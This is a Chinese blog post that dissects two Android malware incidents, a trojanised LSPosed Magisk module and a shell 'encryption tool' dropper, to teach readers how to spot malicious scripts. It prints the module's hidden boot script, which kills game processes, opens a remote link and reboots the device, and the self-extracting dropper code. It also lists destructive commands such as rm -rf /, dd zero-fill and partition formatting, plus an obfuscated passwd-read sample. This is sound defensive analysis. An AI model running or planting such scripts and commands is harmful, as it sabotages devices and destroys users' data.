通过两个经典案例教你揪出恶意代码

通过两个经典案例教你揪出恶意代码

近期,一系列令人咋舌的玄幻事件频发,诸如知名项目 LSPosed 的内测版被不法分子植入恶意代码并外泄、某款脚本加密工具被植入“远控”与“监控”程序、某站员工利用恶意代码对用户进行报复等。

对于类似后者这样的行为,我们或许难以防范,但针对前两类事件,我们其实可以采取一些措施进行鉴别。本文将围绕这两个典型案例,为大家传授几招实用的技巧。相信读完本文后,你也将拥有一双赛博世界的火眼金睛!


I、LSPosed“内测版”事件

相信大家对 LSPosed 都不陌生,其在安卓玩机圈有着举足轻重的地位,虽然其正式版已经停更,但是民间制作的版本依然层出不穷。LSPosed 最近在社交平台上开启了内测版的招募和发版,由于严格的筛选手段,很多普通爱好者是没有办法参与的,这也是 LSPosed 专业精神的体现,但不免有一些人为了体验“正统续作”想尽偏方,给不法分子留下了可乘之机。

一、事件简述

2024 年 12 月,一个号称“LSPosed 内测泄露版本”被在 QQ 群、酷安社区等地传播,但其实际上是包含了恶意代码的修改版本,中招用户不计其数。

不久后,LSPosed 内测群发布公告说明:

二、恶意代码分析

Magisk 模块是拥有 Root 权限(最高权限)的,它几乎可以在你的手机系统上任何事情,我拿到了此次事件的病毒模块样本进行分析。

此次事件的恶意代码大多位于模块的 customize.sh 中。

1. 脚本概述

恶意代码被放置在 /data/adb/service.d/,这意味着它会在系统启动时自动运行,具备较高的系统权限。脚本主要监控特定的腾讯游戏应用(腾讯怎么你了),并在检测到其运行后执行一系列恶意操作,包括强制结束进程、访问可疑网络链接以及重启设备。

2. 脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
packages="com.tencent.tmgp.sgame com.tencent.tmgp.pubgmhd com.tencent.mf.suam com.tencent.tmgp.cod com.tencent.tmgp.cf"
start_sleep=$((RANDOM % 61 + 120))
sleep $start_sleep
while true
do
for package in $packages; do
pid=$(pidof "$package")
if [ -n "$pid" ]; then
wait_time=$((RANDOM % 301 + 600))
sleep $wait_time
kill -9 $pid
am start -p com.miui.video -d "https://********.icu/d/local/999.mp4"-t video/mp4
sleep 60
reboot
fi
done
check_interval=$((RANDOM % 301 + 300))
sleep $check_interval
done

3. 逐行分析

3.1 文件创建
1
cat > /data/adb/service.d/.lsposed_service.sh <<'EOF'
  • 作用:将接下来的内容写入到 .lsposed_service.sh 文件。

  • 隐蔽性:文件名前加 . 表示隐藏文件,减少被用户发现的可能性。

  • 系统启动后自动运行。

3.2 监控的应用包名
1
packages="com.tencent.tmgp.sgame com.tencent.tmgp.pubgmhd com.tencent.mf.suam com.tencent.tmgp.cod com.tencent.tmgp.cf"
  • 作用:定义了需要监控的游戏应用包名,主要包括:

  • com.tencent.tmgp.sgame:王者荣耀

  • com.tencent.tmgp.pubgmhd:和平精英

  • com.tencent.tmgp.cod:使命召唤手游

  • com.tencent.tmgp.cf:穿越火线手游

意图针对性破坏热门游戏进行恶作剧。

3.3 无限循环检测
1
2
3
4
5
while true
do
for package in $packages; do
pid=$(pidof "$package")
if [ -n "$pid" ]; then

作用:

  • 使用 while true 创建无限循环,持续监控设备运行状态。

  • 遍历定义的包名,检查是否存在对应的进程。

3.4 恶意行为
1
2
3
wait_time=$((RANDOM % 301 + 600))
sleep $wait_time
kill -9 $pid

作用:

  • 在发现目标应用运行后,随机延迟 600 到 900 秒(约为半局游戏时间)。

  • 使用 kill -9 强制终止游戏进程,破坏用户的游戏体验。

3.5 启动不明视频链接
1
2
am start -p com.miui.video -d "https://*******.icu/d/local/999.mp4"-t video/mp4
sleep 60

作用:

  • 使用 am start 命令打开小米视频播放器(小米怎么你了),尝试播放来自不明网站的视频文件。
3.6 强制重启设备
1
reboot

作用:在视频播放 60 秒后强制重启设备。

3.7 循环等待
1
2
check_interval=$((RANDOM % 301 + 300))
sleep $check_interval

作用:每次循环结束后,随机等待 5~10 分钟。

3.8 设置权限
1
chmod 777 /data/adb/service.d/.lsposed_service.sh

作用:为脚本文件赋予最高权限(读、写、执行),确保其在任何情况下都能运行。

4. 危害

  • 干扰正常使用:强制结束游戏进程,影响用户体验。

  • 恶意链接风险:播放的远程视频可能携带恶意代码。

  • 设备不稳定:频繁重启设备,导致设备进入循环崩溃状态。

  • 隐蔽性强:利用 LSPosed 模块自动启动机制,开机即生效,且通过随机延迟降低被检测的概率。

5. 清除与防护

立即卸载此模块并删除恶意脚本 /data/adb/service.d/.lsposed_service.sh

1
rm -f /data/adb/service.d/.lsposed_service.sh

II、加密工具监控事件

相较于上一个事件,这种直接由作者制作的恶意脚本更加难以防范,它压根不会给你任何的校验手段,并且可能进行了加密,或者直接用二进制可执行文件来进行恶意操作。

一、事件简述

以下为事件受害人所述,进行了措辞优化

2024 年 12 月,一个网名为 null 的人发布了一个 Shell 脚本加密工具,你使用了他的工具加密了你的文件,那么你的设备上会被导出一个偷文件和远控程序,它可以看你的手机屏幕、录制视频、操作手机文件和隐私,包括但不限于 QQ,微信,支付宝,拼多多,京东,淘宝,IP 地址,主板 ID 等数据,上传到它的服务器,还可以进行远程执行 Shell 命令等一系列操作,其作者自述入侵设备高达 9000+ 台。

二、恶意代码分析

其通过 Shell 脚本进行第一层执行,并包装成普通工具,实际上是导出一个包含恶意操作的可执行文件。

这段 Shell 脚本的主要目的是从自身提取嵌入的压缩数据,解压后执行该数据,用于隐藏恶意代码。

1. 基础设置

1
2
3
4
5
6
7
8
skip=5
set -e
tab=' '
nl='
'
IFS=" $tab$nl"
umask=`umask`
umask 77

skip=5:定义变量,表示跳过前 5 行,后续用于提取嵌入的数据。

set -e:脚本遇到错误立即退出。

tabnl 定义了制表符和换行符,随后通过 IFS 设置内部字段分隔符。

umask 保存当前权限掩码,再临时修改为 077,确保新建文件或目录的权限是仅对当前用户可读写。

2. 清理机制 (Trap)

1
2
gztmpdir=
trap 'res=$?; test -n "$gztmpdir" && (sleep 5; rm -fr "$gztmpdir") >/dev/null 2>&1 & (exit $res); exit $res;' 0 1 2 3 5 10 13 15

设置了多个信号的 trap,包括 EXIT、INT、TERM 等。

脚本退出或中断时会:

  • 等待 5 秒(可能是为了避免检测或冲突)。

  • 删除临时目录 gztmpdir,确保不会留下痕迹。

  • 保持脚本的退出状态码一致。

3. 临时目录设置

1
2
export TMPDIR=`readlink -f "${TMPDIR:-\`pwd\`}"`/
grep " /`echo "$TMPDIR" | cut -d / -f2` tmpfs" /proc/mounts && printf >&2 '%s\n' "Unable to set cache directory" && exit 1

定义临时目录:

  • 如果 TMPDIR 未定义,则使用当前工作目录。

  • 确保路径为绝对路径(readlink -f)。

检查临时目录挂载点:

  • 如果 TMPDIR 位于 tmpfs(内存文件系统)上,脚本会退出。这可能是为了防止数据被存储在易被清除的内存中,从而规避取证分析。

4. 创建临时工作目录

1
2
3
4
5
6
if type mktemp >/dev/null 2>&1; then
gztmpdir=`mktemp -d "${TMPDIR}XXXXXXXXX"`
else
gztmpdir=${TMPDIR}$$
mkdir $gztmpdir
fi || { (exit 127); exit 127; }
  • 使用 mktemp 创建随机命名的临时目录,保证唯一性。

  • 如果系统没有 mktemp,则退而使用 $$(当前进程 ID)作为目录名。

  • 创建失败则退出,返回 127 错误码。

5. 准备临时可执行文件路径

1
2
3
4
5
gztmp=$gztmpdir/$0
case $0 in
-*|*/*$'\n') mkdir -p "$gztmp" && (sleep 5; rm -fr "$gztmpdir") >/dev/null 2>&1 & ;;
*/*) gztmp=$gztmpdir/`basename "$0"` ;;
esac || { (exit 127); exit 127; }

根据脚本的调用路径 $0 生成临时可执行文件路径。

  • 如果路径异常(如包含特殊字符),则创建目录;否则直接使用脚本的文件名。

  • 同样设置延时删除机制。

6. 提取并解压嵌入的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case `printf 'X\n' | tail -n +1 2>/dev/null` in
X) tail_n=-n ;;
*) tail_n= ;;
esac

if tail $tail_n +$skip <"$0" | gzip -d >"$gztmp"; then
umask $umask
chmod 700 "$gztmp"
(sleep 5; rm -fr "$gztmpdir") >/dev/null 2>&1 &
"$gztmp" ${1+"$@"}
res=$?
else
printf >&2 '%s\n' "Cannot decompress $0"
(exit 127)
res=127
fi
  • 兼容性检查:判断 tail 命令的参数格式,以适应不同系统。

解压嵌入数据:

  • 使用 tail 从脚本自身 ($0) 中跳过前 skip=5 行,提取后面的数据。

  • 数据经过 gzip -d 解压到临时可执行文件 gztmp 中。

执行解压后的程序:

恢复原来的 umask,设置可执行权限(700)。

运行解压出的可执行文件,传递任何命令行参数(${1+"$@"})。

如果解压失败,输出错误并返回 127

7. 总结

  • 自解压和自执行:脚本本身包含了压缩的二进制数据,运行时自动解压并执行。

  • 临时目录管理:动态创建临时目录,保证不留痕迹。

  • 安全性:使用严格的权限控制,确保文件仅当前用户可访问。

  • 反取证:延迟删除机制、内存挂载检查等,可能意图规避取证分析。`

三、二进制可执行文件的逆向

此事件中,Shell 脚本最终导出了一些二进制可执行文件到设备上的随机目录,这些文件便是恶意操作的基础。

所谓“二进制可执行文件”,就是指被编译过的代码,这种文件在 Linux 中叫做 ELF 文件,通常我们使用编辑器直接查看,只会看到一堆乱码,这是因为二进制可执行文件是以机器码的形式储存的,顾名思义,就是只有机器可以读懂。那么我们有没有办法进行逆向分析呢?

答案是:看情况

代码编译是一个将高级语言转换为机器代码的单向过程,过程中会丢失变量名、注释、代码结构等高级语义信息,但二进制可执行文件仍可通过逆向工程手段(如反汇编、反编译和动态分析)部分还原程序逻辑,尽管恢复的代码与原始源码存在差异,且逆向难度取决于编译优化、混淆和加密等防护措施。

对于我们普通人,肯定是没必要花那么多手段进行逆向分析了,只能靠多注意脚本文件中是否有类似上面的恶意代码和乱码来辨别。


III、如何防范

一、验证脚本哈希值

1. 验证哈希值

文件哈希值相当于数字指纹,用于验证文件的完整性和真实性。通常,比较知名的项目都会在发行版内或 GitHub 公布其哈希值,可能是 MD5、SHA256、SHA1 等等,但原理都一样。

我们可以使用 MT 管理器的文件验证功能,验证哈希值是否与公布值相同,若不相同,则表示文件被篡改了。

验证时特别注意 .sh 和没有后缀的可执行文件。

2. 注意事项

  • 从可信来源获取官方哈希值

  • 优先选择SHA256等强哈希算法

  • 下载脚本前先获取哈希值

二、鉴别恶意 Shell 代码特征

1. 高危代码类型

⚠️ 警告:下述代码具有极高破坏性,可能导致设备永久损坏!请严格遵守法律法规,仅将此类知识用于防御场景。

直接格式化系统分区
1
2
mke2fs -t ext4 /dev/block/mmcblk0pXX
# XX 对应系统分区号(如 /system、/data、/cache)
  • 危险指数:★★★★★

  • 说明:直接格式化系统关键分区(如 /system/data)会导致设备无法启动或数据永久丢失,需物理刷机才能恢复。

递归删除目录
1
rm -rf /
  • 危险指数:★★★★☆

  • 说明:强制删除根目录下所有文件,但部分分区可能因权限限制无法删除。若有 root 权限,可能彻底破坏系统。


擦除分区(零填充)
1
dd if=/dev/zero of=/dev/block/...
  • 危险指数:★★★★★

  • 说明:使用 dd 命令将空数据覆盖用户数据分区,导致所有应用数据、照片、文档等不可恢复。

禁用 SELinux 和安全策略
1
2
setenforce 0
chmod 777 /* -R
  • 危险指数:★★★☆☆

  • 说明:关闭 SELinux 并全局赋予可执行权限,为后续恶意代码提供运行环境,但需结合其他攻击才能直接破坏系统。

恶意重启
1
2
reboot
reboot bootloader
  • 危险指数:★★★☆☆

  • 说明:干扰正常启动流程,若配合分区擦除操作,可能导致设备无法开机。

2. 防护建议:

  1. 避免 Root 权限滥用:谨慎授予 App 或脚本 root 权限。

  2. 监控 Shell 命令:使用安全工具(如 SELinux、Magisk 模块)限制高危操作。

  3. 定期备份:备份重要数据。

  4. 隔离未知来源脚本:不执行未经验证的 Shell 命令。

三、检测二进制数据痕迹

1. 检测工具使用

1
2
3
4
5
6
7
8
# 查看可打印字符串
strings suspicious.sh

# 检测文件类型
file unknown_script

# 十六进制查看
hexdump -C script.sh | head -n 20

2. 可疑特征识别

  • ELF头信息(ELF 7f45 4c46

  • 非ASCII字符占比过高

  • 异常的长字符串(>500 字符)

  • 混合多种编码格式内容

3. 混淆代码识别

1
2
3
4
5
# 典型Base64混淆
ZWNobyAiRGV...Cg==

# 十六进制混淆
\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64

附录:安全检查清单

  • 文件来源可信

  • 哈希值验证通过

  • 无高危函数使用

  • 无二进制数据嵌入

  • 权限设置合理


通过两个经典案例教你揪出恶意代码
https://blog.yulebest.icu/post20/
作者
于乐Yule
发布于
2025年2月4日
许可协议